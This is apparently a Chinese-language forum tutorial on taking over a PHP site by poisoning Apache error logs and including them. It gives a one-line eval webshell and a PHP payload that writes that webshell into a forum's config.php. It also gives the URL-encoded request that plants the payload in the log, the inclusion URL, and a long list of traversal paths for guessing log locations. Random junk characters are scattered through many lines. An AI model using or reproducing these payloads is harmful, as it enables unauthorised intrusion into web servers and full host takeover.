php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

9 N/ d" `1 X2 {9 e比如还是这句一句话木马
' G7 x: }3 [+ \& m( f% U<?eval($_POST[cmd]);?>   
' S! c. L- m* |4 e) @
3 b6 P# G, M" [; x& e* u到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
+ a3 L2 W4 T- x( ?1 i+ o- Z2 q4 Nfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
2 P& S3 q8 B( l) G5 s, m; N7 q
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
$ J1 f$ x- Y; T- y  z
  E" O8 _; X9 N; k8 t我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
9 T2 {9 t0 Q& r- s9 {* S6 k转换为
) ~. @4 T. F0 }; G0 t%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
$ q& e4 c" u5 S3 Yconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
) W9 s  F: x' B! e4 J; [( c%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
( t3 B; d- V6 m+ f9 A( n%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
! G2 A0 I, a6 ~% ]' q7 o4 t; u%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
, N7 G- F4 g; Hcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
! j" A& f8 l  z. Q* V3 C2 n
这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
5 v: m" i" m- M5 p+ K9 Thttp://www.xxx.com/forum/config.php这个就成了我们的webshell
0 f* X" f: a/ P& P9 Y直接用lanker的客户端一连，主机就是你的了。
1 }# P* ]( b- L$ D5 }
& \' r4 v# k/ P2 x0 Z6 oPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
& d7 ?7 D, u6 h3 c% H# ?
# h4 F8 u% I; o/ {+ q! p8 |9 `其他的日志路径，你可以去猜，也可以参照这里。
0 a& N5 V# J3 X8 O8 R( `- @  C! r( x../../../../../../../../../../var/log/httpd/access_log
4 F1 Y: `) W. p! _9 x../../../../../../../../../../var/log/httpd/error_log
  R* Z, C( I1 K$ P$ i4 Q9 C) M+ ]../apache/logs/error.log
& a) h! x. j  P9 y& P$ N& @../apache/logs/access.log
0 |8 O# S$ _5 t% F6 ~* S$ O! x; b../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
! ~) q9 {# L$ F+ w# M; C2 h- H../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
0 Q/ @2 Y: n  L% {4 I../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
8 t- O8 c* Q  @3 @/ |% y9 a% b../../../../../../../../../../var/www/logs/access_log
' ~% O: R  H+ M% e# b) Q; ]../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
- y" P: }/ l; d* f../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
# X9 B' C; L7 W' j- T../../../../../../../../../../var/www/logs/error_log
  B  B8 V* T. j& u% Z6 f$ \; p../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
) b, p) A2 e% @( W: W6 F" K../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
, W0 g3 y7 q# @+ A0 @! D, E../../../../../../../../../../var/log/error_log
8 m( j; G6 s" j; `  \' b' x/ Y/var/log/httpd/access_log      
6 X" _9 F; H. s' I/ j3 V; s& b6 F. o/var/log/httpd/error_log     
2 F* q/ S! m1 U; C/ s../apache/logs/error.log     
( |: P6 T: }, [8 |../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
! k, ~* J& \4 O2 }( R5 Q../../../apache/logs/access.log
/etc/httpd/logs/acces_log
% G* C+ B0 K* J/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
1 o/ {2 K' q+ Y/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
$ W& S: }8 Z" ~6 B0 W/usr/local/apache/logs/access.log
$ `, ~$ e" S7 k. n3 n( x/var/log/apache/access_log
. m( t0 l5 S- E- m; |) A; s/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
+ P8 K. Q' P* R7 t+ p/usr/local/apache/logs/error_log
+ D/ ]- C' `% I4 Z3 o/usr/local/apache/logs/error.log
6 _: o8 |; ~/ U# \% d5 |; b- {/var/log/apache/error_log
# r+ j# Z2 d5 D. _/var/log/apache/error.log
/var/log/access_log
0 Q$ G4 [! p# x# p# @/var/log/error_log